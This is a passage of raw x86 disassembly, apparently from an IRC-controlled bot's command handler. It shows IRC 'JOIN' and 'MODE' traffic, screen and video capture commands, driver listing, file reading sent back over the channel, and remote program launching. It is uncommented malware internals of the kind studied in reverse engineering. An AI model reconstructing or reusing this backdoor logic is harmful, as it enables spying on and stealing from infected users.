		mov	[ebp+var_2218],	esi
		push	offset unk_429E94
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_429E58

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429E2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset dword_429DF0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DE8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DD4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429DB8

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D94
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DE0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D78
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D50
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26904AEh
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D30
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A464
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429D14
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CF4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CD4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CAC
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C60
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C2C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BFC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429BC0

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFD4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B68
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B34
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429B00
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429AC8

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A94
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A54
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_429A14
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299F0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_4299CC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_4299C8 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42999C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429984
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429964
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429948
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429930
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_4298F0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298D8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4298B4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 269053Ch
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 26906F7h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429898
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429874
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429844

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429824
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297D4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB028
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB030
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_4297AC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429784
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAF10
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429764
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429740
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429718
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B48C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
